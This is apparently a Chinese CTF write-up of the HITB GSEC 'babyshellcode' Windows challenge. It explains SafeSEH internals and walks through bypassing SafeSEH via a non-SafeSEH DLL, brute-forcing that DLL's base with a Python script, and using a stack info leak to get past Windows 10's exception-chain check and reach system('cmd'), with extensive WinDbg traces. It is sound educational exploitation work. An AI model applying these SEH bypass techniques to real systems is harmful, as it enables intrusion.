作者:k0shl

前言

這次在 HITB GSEC CTF 打醬油,也有了一次學習的機會,這次CTF出現了兩道 Windows pwn,我個人感覺質量非常高,因為題目出了本身無腦洞的漏洞之外,更多的讓選手們專注于對 Windows 系統的防護機制(seh)原理的研究,再配合漏洞來完成對機制的突破和利用,在我做完之后重新整理整個解題過程,略微有一些窒息的感覺,感覺整個利用鏈環環相扣,十分精彩,不得不膜一下Atum大佬,題目出的真的好!對于菜鳥來說,是一次非常好的鍛煉機會。

因此我認真總結了我們從拿到題目,多種嘗試,不斷改進 exp,到最后獲得 shell 的整個過程,而不僅僅是針對題目,希望能對同樣奮斗在 win pwn 的小伙伴有一些幫助。

Babyshellcode Writeup with SEH and SafeSEH From Windows xp to Windows 10

拿到題目的時候,我們發現程序存在一個很明顯的棧溢出,而且題目給的一些條件非常好,在棧結構中存在 SEH 鏈,在常規的利用 SEH 鏈進行棧溢出從而控制 eip 的過程中,我們會使用棧溢出覆蓋 seh handler,這是一個 seh chain 中的一個指針,它指向了異常處理函數。

但是程序中開啟了 safeseh,也就是說,單純的通過覆蓋 seh handler 跳轉是不夠的,我們首先需要 bypass safeseh。

OK,我們來看題目。

在題目主函數中,首先在 scmgr.dll 中會初始化存放 shellcode 的堆,調用的是 VirtualAlloc 函數,并且會打印堆地址。

  v0 = VirtualAlloc(0, 20 * SystemInfo.dwPageSize, 0x1000u, 0x40u);//注意這里的flprotect是0x40

  dword_1000338C = (int)v0;

  if ( v0 )

  {

    sub_10001020("Global memory alloc at %p\n", (char)v0);//打印堆地址

    result = dword_1000338C;

    dword_10003388 = dword_1000338C;

  }

這里 VirtualAlloc 中有一個參數是 flprotect,值是 0x40,表示擁有 RWE 權限。

#define PAGE_EXECUTE_READWRITE 0x40

這個堆地址會用于存放 shellcode,在 CreateShellcode 函數中會將 shellcode 拷貝到 Memory 空間里。

  v4 = 0;//v4在最開始拷貝的時候值是0

  ??

  v11 = (int)*(&Memory + v4);//將Memory地址指針交給v11

  v13 = getchar();

  v14 = 0;

  if ( v12 )

  {

    do

    {

      *(_BYTE *)(v14++ + v15) = v13;//為Memory賦值

      v13 = getchar();

    }

    while ( v14 != v12 );

    v4 = v16;

  }

執行結束之后可以看到 shellcode 已經被拷貝到目標空間中。

隨后執行 runshellcode 指令的時候,會調用“虛函數”,這里用引號表示,其實并不是真正的虛函數,只是虛函數的一種常見調用方法(做了 CFG check,這里有個小插曲),實際上調用的是 VirtualAlloc 出來的堆的地址。

    v4 = *(void (**)(void))(v1 + 4);

    __guard_check_icall_fptr(*(_DWORD *)(v1 + 4));

    v4();

可以看到這里有個 CFG check,之前我們一直以為環境是 Win7,在 Win7 里 CFG 沒有實裝,這個在我之前的一篇IE11瀏覽器漏洞的文章中也提到過,因此這個 Check是沒用的,但是后來得知系統是 Win10(這個后面會提到),這里會檢查指針是否合法,這里無論如何都會合法,因為 v1+4 位置的值控制不了,這里就是指向堆地址。

這里跳轉到堆地址后會由于 shellcode 頭部4字節被修改,導致進入堆地址后是無效的匯編指令。

  byte_405448 = 1;

  puts("Hey, Welcome to shellcode test system!");



    if ( byte_405448 )

    {

      v3 = *(_DWORD **)(v1 + 4);

      memcpy(&Dst, *(const void **)(v1 + 4), *(_DWORD *)(v1 + 8));//這里沒有對長度進行控制,造成棧溢出

      *v3 = -1;

    }

byte_405448 是一個全局變量 is_guard,它在 runshellcode 里決定了存放 shellcode 堆指針指向的 shellcode 前4字節是否改成0xffffffff,這里 byte_405448的值是 1,因此頭部會被修改,而我們也必須進入這里,只有這里才能造成棧溢出。

0:000> g

Breakpoint 1 hit

eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430

eip=00a113f3 esp=002bf794 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

babyshellcode+0x13f3:

00a113f3 c706ffffffff    mov     dword ptr [esi],0FFFFFFFFh ds:0023:000e0000=61616161//shellcode頭部被修改前正常

0:000> dd e0000 l1

000e0000  61616161 

0:000> p

eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430

eip=00a113f9 esp=002bf794 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

babyshellcode+0x13f9:

00a113f9 8b7704          mov     esi,dword ptr [edi+4] ds:0023:0048e434=000e0000

0:000> dd e0000 l1//頭部被修改成0xffffffff

000e0000  ffffffff

隨后我們跳轉到頭部執行,由于指令異常進入異常處理模塊。

0:000> p

eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430

eip=00a11404 esp=002bf794 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

babyshellcode+0x1404:

00a11404 ffd6            call    esi {000e0000}//跳轉到堆

0:000> t

eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430

eip=000e0000 esp=002bf790 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

000e0000 ff              ???//異常指令

0:000> p//進入異常處理模塊

(20f90.20f9c): Illegal instruction - code c000001d (first chance)

eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430

eip=770b6bc9 esp=002bf340 ebp=002bf824 iopl=0         nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

ntdll!KiUserExceptionDispatcher+0x1:

770b6bc9 8b4c2404        mov     ecx,dword ptr [esp+4] ss:0023:002bf344=002bf35c

利用 SEH 是棧溢出里常見的一種利用方法,在沒有 SafeSEH 和 SEHOP 的情況下,可以利用 seh 里一個特殊的結構 seh handler,通過覆蓋它來完成 eip/rip 的控制,它指向的是異常處理函數,而加入了 safeseh之后,會對 sehhandler 進行 check,檢查它是否可信,不可信的話返回0,則不會跳轉到 seh handler。而這個 safeseh 的 check 在 ntdll 的 RtlIsValidHandler 函數中,幾年前 Alex 就發了關于這個函數的解讀,現在偽代碼遍地都是了。

BOOL RtlIsValidHandler(handler)



{

if (handler is in an image)//step 1 

{

         // 在加載模塊的進程空間

if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)

    return FALSE; // 該標志設置,忽略異常處理,直接返回FALSE

if (image has a SafeSEH table) // 是否含有SEH表

    if (handler found in the table)

        return TRUE; // 異常處理handle在表中,返回TRUE

    else

        return FALSE; // 異常處理handle不在表中,返回FALSE

if (image is a .NET assembly with the ILonly flag set)

    return FALSE; // .NET 返回FALSE

// fall through

}

if (handler is on a non-executable page)//step 2

{

         // handle在不可執行頁上面

    if (ExecuteDispatchEnable bit set in the process flags)

        return TRUE; // DEP關閉,返回TRUE;否則拋出異常

    else

        raise ACCESS_VIOLATION; // enforce DEP even if we have no hardware NX

}

if (handler is not in an image)//step 3

{

         // 在加載模塊內存之外,并且是可執行頁

    if (ImageDispatchEnable bit set in the process flags)

        return TRUE; // 允許在加載模塊內存空間外執行,返回驗證成功

    else

        return FALSE; // don't allow handlers outside of images

}

// everything else is allowed

return TRUE;

}

首先我們想到的是利用堆指針來 bypass safeseh,正好這個堆地址指向的 shellcode,但是由于頭部四字節唄修改成了 0xffffffff,因此我們只需要覆蓋 seh handler 為 heap address+4,然后把 shellcode 跳過開頭4字節編碼,頭4字節放任意字符串(反正會被編碼成0xffffffff),然后后面放 shellcode 的內容,應該就可以達到利用了(事實證明我too young too naive了,這個方法在 win xp 下可以用。)

于是我們想到的棧布局如下:

但我們這樣執行后,在 windows xp 下可以完成,但是 win7 下依然 crash 了,這就需要我們跟進 ntdll!RtlIsValidHandler 函數,回頭看下偽代碼部分。

這里有三步 check,首先 step1,if 是不通過的因為堆地址屬于加載進程外的地址,同理 step2 也是不通過的,因為堆地址申請的時候是可執行的,之所以用堆繞過 SafeSEH 是因為堆地址屬于當前進程加載內存映像空間之外的地址。

0:000> !address e0000

Usage:                  <unclassified>

Allocation Base:        000e0000

Base Address:           000e0000

End Address:            000f4000

Region Size:            00014000

Type:                   00020000    MEM_PRIVATE

State:                  00001000    MEM_COMMIT

Protect:                00000040    PAGE_EXECUTE_READWRITE

那么 safeseh 進入 step 3,又是加載模塊內存之外的,又是可執行的,在 winxp,通過堆繞過是可行的,但是在 Win7 及以上版本就不行了,為什么呢,因為這里多了一個 Check,內容是 MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE,它決定了是否允許在加載模塊內存空間外執行。

這里只有當第六個比特為1時,才是可執行的

這里值是 0x4d,也就是 1001101,第六個比特是 0,也就是 MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE 是不允許的,因此會 return FALSE。

0:000> p

eax=00000000 ebx=000e0000 ecx=002bf254 edx=770b6c74 esi=002bf348 edi=00000000

eip=77100224 esp=002bf274 ebp=002bf2b0 iopl=0         nv up ei ng nz na pe cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287

ntdll!RtlIsValidHandler+0xff:

77100224 8a450c          mov     al,byte ptr [ebp+0Ch]      ss:0023:002bf2bc=4d

0:000> p

eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000

eip=7708f88d esp=002bf2b4 ebp=002bf330 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

ntdll!RtlIsValidHandler+0xfc:

7708f88d c20800          ret     8

0:000> p

eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000

eip=7708f9fe esp=002bf2c0 ebp=002bf330 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

ntdll!RtlDispatchException+0x10e:

7708f9fe 84c0            test    al,al

0:000> r al

al=0

通過堆繞過的方法失敗了,我們又找到了其他方法,就是通過未開啟 safeseh 的 dll 的方法來繞過 safeseh,這里我們找到了 scmgr.dll,它是一個未開啟 safeseh 的模塊,這個可以直接通過 od 的 OllySSEH 功能看到 SafeSEH 的開啟狀態。

這里我們只需要把 seh handler 指向 scmgr.dll 就可以了,而且我們在 scmgr.dll 里發現,其實 system('cmd')已經在里面了,只需要跳轉過去就可以了。

.text:10001100                 public getshell_test

.text:10001100 getshell_test   proc near               ; DATA XREF: .rdata:off_10002518o

.text:10001100                 push    offset Command  ; "cmd"

.text:10001105                 call    ds:system

.text:1000110B ; 3:   return 0;

.text:1000110B                 add     esp, 4

.text:1000110E                 xor     eax, eax

.text:10001110                 retn

.text:10001110 getshell_test   endp

但是這里有一個問題,就是 scmgr.dll 的基址是多少,這里我們想了兩種方法來獲得基址,一個是爆破,因為我們發現 scmgr.dll 在每次進程重啟的時候基址都不變,因此我們只需要在 0x60000000-0x8000000 之間爆破就可以,0x8000000 之上是內核空間的地址了,因此只需要爆破這個范圍即可。(由于剛開始以為是 win7,所以爆破的時候有一點沒有考慮到,導致目標總是 crash,我們也找不到原因,本地測試是完全沒問題的,后面會提到)。

還有一種方法是我們看到了 set shellcodeguard 函數,這個就是我們之前提到對 is_guard 那個全局變量設置的函數,但實際上,這個也沒法把這個值置 0,畢竟置 0之后直接就能擼 shellcode 了,但我們關注到 Disable Shellcode Guard 中一個有趣的加密。

  puts("1. Disable ShellcodeGuard");

  puts("2. Enable ShellcodeGuard");

  ??

  if ( v2 == 1 )//加密在這里

  {

    v3 = ((int (*)(void))sub_4017F0)();

    v4 = sub_4017F0(v3);

    v5 = sub_4017F0(v4);

    v6 = sub_4017F0(v5);

    v7 = sub_4017F0(v6);

    v8 = sub_4017F0(v7);

    sub_4017C0("Your challenge code is %x-%x-%x-%x-%x-%x\n", v8);

    puts("challenge response:");

    v9 = 0;

    v10 = getchar();

    do

    {

      if ( v10 == 10 )

        break;

      ++v9;

      v10 = getchar();

    }

    while ( v9 != 20 );

    puts("respose wrong!");

  }

  else//當v2為0的時候是Enable Shellcode Guard,全局變量置1

  {

    if ( v2 == 2 )

    {

      byte_405448 = 1;

      return 0;

    }

    puts("wrong option");

  }

這個加密其實很復雜的。

后來官方也給出了hint,Hint for babyshellcode: The algorithm is neither irreversible nor z3-solvable.告訴大家這個加密算法不可逆,別想了!

先我們來看一下這個加密算法加密的什么玩意,我們跟入這個算法。

0:000> p

eax=ae7e77d0 ebx=0000001f ecx=0cd4ae6b edx=00000000 esi=00ae7e77 edi=354eaad0

eip=00a11818 esp=0016fcd8 ebp=0016fd08 iopl=0         ov up ei pl nz na pe cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a07

babyshellcode+0x1818:

*** WARNING: Unable to verify checksum for C:\Users\sh1\Desktop\scmgr.dll

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Users\sh1\Desktop\scmgr.dll - 

00a11818 3334955054a100  xor     esi,dword ptr babyshellcode+0x5450 (00a15450)[edx*4] ds:0023:00a15450={scmgr!init_scmgr (67bc1090)}

發現在算法初始化的時候,加密的是 scmgr!init_scmgr 的地址,也就是 67bc1090,這個就厲害了,既然不可逆,我們把這個算法 dump 出來正向爆破去算,如果結果等于最后加密的結果,那就是碰到基址了,這樣一是不用頻繁和服務器交互,二是及時 dll 每次進程重啟基址都改變,也能直接通過這種方法不令進程崩潰也能獲得到基址。

def gen_cha_code(base):

    init_scmgr = base*0x10000 +0x1090



    value = init_scmgr

    g_table = [value]

    for i in range(31):

        value = (value * 69069)&0xffffffff

        g_table.append(value)



    g_index = 0



    v0 = (g_index-1)&0x1f

    v2 = g_table[(g_index+3)&0x1f]^g_table[g_index]^(g_table[(g_index+3)&0x1f]>>8)

    v1 = g_table[v0]

    v3 = g_table[(g_index + 10) & 0x1F]

    v4 = g_table[(g_index - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8) & 0x1F])) << 14)

    v4 = v4&0xffffffff

    g_table[g_index] = v2^v4

    g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7))&0xffffffff

    g_index = (g_index - 1) & 0x1F

    return g_table[g_index]

這樣,獲取到基址之后,我們就能夠構造 seh handler 了,直接令 seh handler 指向 getshell_test 就直接能獲得和目標的shell交互了。通過棧溢出覆蓋 seh chain。

0:000> !exchain

0016fcf8: scmgr!getshell_test+0 (67bc1100)

Invalid exception stack at 0d16fd74

進入 safeseh,由于在 nosafeseh 空間,返回 true,該地址可信。

0:000> p

eax=72b61100 ebx=0023f99c ecx=0023f424 edx=770b6c74 esi=0023f4c8 edi=00000000

eip=7708f9f9 esp=0023f438 ebp=0023f4b0 iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206

ntdll!RtlDispatchException+0x109:

7708f9f9 e815feffff      call    ntdll!RtlIsValidHandler (7708f813)

0:000> p

eax=0023f401 ebx=0023f99c ecx=73a791c6 edx=00000000 esi=0023f4c8 edi=00000000

eip=7708f9fe esp=0023f440 ebp=0023f4b0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

ntdll!RtlDispatchException+0x10e:

7708f9fe 84c0            test    al,al

0:000> r al

al=1

進入 call seh handler,跳轉到 getshell_test

0:000> p

eax=00000000 ebx=00000000 ecx=73a791c6 edx=770b6d8d esi=00000000 edi=00000000

eip=770b6d74 esp=0023f3e4 ebp=0023f400 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

ntdll!ExecuteHandler2+0x21:

770b6d74 8b4d18          mov     ecx,dword ptr [ebp+18h] ss:0023:0023f418={scmgr!getshell_test (72b61100)}

0:000> p

eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000

eip=770b6d77 esp=0023f3e4 ebp=0023f400 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

ntdll!ExecuteHandler2+0x24:

770b6d77 ffd1            call    ecx {scmgr!getshell_test (72b61100)}

0:000> t

eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000

eip=72b61100 esp=0023f3e0 ebp=0023f400 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

scmgr!getshell_test:

72b61100 68f420b672      push    offset scmgr!getshell_test+0xff4 (72b620f4)

到這里利用就完整了嗎?我們在 win7 下沒問題了,但是在目標卻一直 crash 掉,實在是搞不明白,后來才知道,我們用錯了環境!原來目標是Win10...

Win10 的 SafeSEH 和 Win7 又有所區別,這里要提到SEH的兩個域,一個是 prev 域和 handler 域,prev域會存放一個指向下一個 seh chain 的棧地址,handler 域就是存放的 seh handler,而 Win10 里面多了一個 Check 函數 ntdll!RtlpIsValidExceptionChain,這個函數會去獲得當前 seh chain 的 prev 域的值。

0:000> p//這里我們覆蓋prev為0x61616161

eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=030ff278 edi=030fd000

eip=7771ea79 esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206

ntdll!RtlpIsValidExceptionChain+0x2b:

7771ea79 8b31            mov     esi,dword ptr [ecx]  ds:002b:030ff7ac=61616161

0:000> p

eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000

eip=7771ea7b esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206

ntdll!RtlpIsValidExceptionChain+0x2d:

7771ea7b 83feff          cmp     esi,0FFFFFFFFh

0:000> p

eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000

eip=7771ea7e esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz ac po cy

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213

ntdll!RtlpIsValidExceptionChain+0x30:

7771ea7e 740f            je      ntdll!RtlpIsValidExceptionChain+0x41 (7771ea8f) [br=0]

隨后,會去和 seh 表里存放的 prev 域的值進行比較。

0:000> p

eax=030ff7b4 ebx=03100000 ecx=61616161 edx=6fdd1100 esi=61616161 edi=030fd000

eip=7771ea8a esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz ac po cy

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213

ntdll!RtlpIsValidExceptionChain+0x3c:

7771ea8a 8d53f8          lea     edx,[ebx-8]

0:000> p

eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000

eip=7771ea8d esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz ac po cy

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213

ntdll!RtlpIsValidExceptionChain+0x3f:

7771ea8d ebd6            jmp     ntdll!RtlpIsValidExceptionChain+0x17 (7771ea65)

0:000> p

eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000

eip=7771ea65 esp=030ff1bc ebp=030ff1c8 iopl=0         nv up ei pl nz ac po cy

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000213

ntdll!RtlpIsValidExceptionChain+0x17:

7771ea65 3bc1            cmp     eax,ecx//ecx寄存器存放的是棧里被覆蓋的,eax存放的是正常的pointer to next chain

可以看到這里檢測是不通過的,因此造成了 crash,所以,我們需要對 seh chain 進行 fix,把 pointer to next chain 修改成下一個 seh chain 的棧地址,這就需要我們獲取當前的棧地址,棧地址是自動動態申請和回收的,和堆不一樣,因此每次棧地址都會發生變化,我們需要一個 stack info leak。

于是我們在程序中找到了這樣一個 stack info leak 的漏洞,開頭有個 stack info leak,在最開始的位置。

  v1 = getchar();

  do

  {

    if ( v1 == 10 )

      break;

    *((_BYTE *)&v5 + v0++) = v1;

    v1 = getchar();

  }

  while ( v0 != 300 );

  sub_4017C0("hello %s\n", &v5);





0:000> g//一字節一字節寫入,esi是計數器,ebp-18h是指向拷貝目標的指針

Breakpoint 0 hit

eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8

eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

babyshellcode+0x16a4:

000a16a4 884435e8        mov     byte ptr [ebp+esi-18h],al  ss:0023:0036f920=00

0:000> p

eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8

eip=000a16a8 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

babyshellcode+0x16a8:

000a16a8 46              inc     esi

0:000> p//獲取下一字節

eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000001 edi=005488a8

eip=000a16a9 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

babyshellcode+0x16a9:

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Users\sh1\Desktop\ucrtbase.DLL - 

000a16a9 ff15e4300a00    call    dword ptr [babyshellcode+0x30e4 (000a30e4)] ds:0023:000a30e4={ucrtbase!getchar (5740b260)}

0:000> p//判斷長度

eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8

eip=000a16af esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

babyshellcode+0x16af:

000a16af 81fe2c010000    cmp     esi,12Ch

0:000> p

eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8

eip=000a16b5 esp=0036f90c ebp=0036f938 iopl=0         nv up ei ng nz ac po cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293

babyshellcode+0x16b5:

000a16b5 75e9            jne     babyshellcode+0x16a0 (000a16a0)         [br=1]

0:000> p//判斷是否是回車

eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8

eip=000a16a0 esp=0036f90c ebp=0036f938 iopl=0         nv up ei ng nz ac po cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293

babyshellcode+0x16a0:

000a16a0 3c0a            cmp     al,0Ah

0:000> p

eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8

eip=000a16a2 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

babyshellcode+0x16a2:

000a16a2 7413            je      babyshellcode+0x16b7 (000a16b7)         [br=0]

0:000> p//繼續寫入

Breakpoint 0 hit

eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8

eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0         nv up ei pl nz ac po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212

babyshellcode+0x16a4:

000a16a4 884435e8        mov     byte ptr [ebp+esi-18h],al  ss:0023:0036f921=00

這里判斷的長度是 0x12C,也就是 300,但實際上拷貝目標 ebp-18 很短,而 esi 會不斷增加,而沒有做控制,最關鍵的是這個過程。

.text:004016A4 ; 20:     *((_BYTE *)&v5 + v0++) = v1;

.text:004016A4                 mov     byte ptr [ebp+esi+var_18], al

.text:004016A8 ; 21:     v1 = getchar();

.text:004016A8                 inc     esi//key!!

.text:004016A9                 call    ds:getchar

.text:004016AF ; 23:   while ( v0 != 300 );

.text:004016AF                 cmp     esi, 12Ch

這里是在賦值結束之后,才將 esi 自加1,然后才去做長度判斷,然后再跳轉去做是否回車的判斷,如果回車則退出,也就是說,這里會多造成4字節的內存泄漏,我們來看一下賦值過程中的內存情況。

0:000> dd ebp-18 l7

0036f920  00000061 00000000 00000000 00000000

0036f930  00000000 1ea6b8ab 0036f980

可以看到,在 0036f920 地址便宜 +0x18 的位置存放著一個棧地址,也就是說,如果我們讓 name 的長度覆蓋到 0036f938 位置的時候,多泄露的4字節是一個棧地址,這樣我們就可以用來 fix seh stack 了。

有了這個內存泄漏,我們就可以重新構造棧布局了,棧布局如下:

這樣,結合之前我們的整個利用過程,完成整個利用鏈,最后完成shell交互。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/378/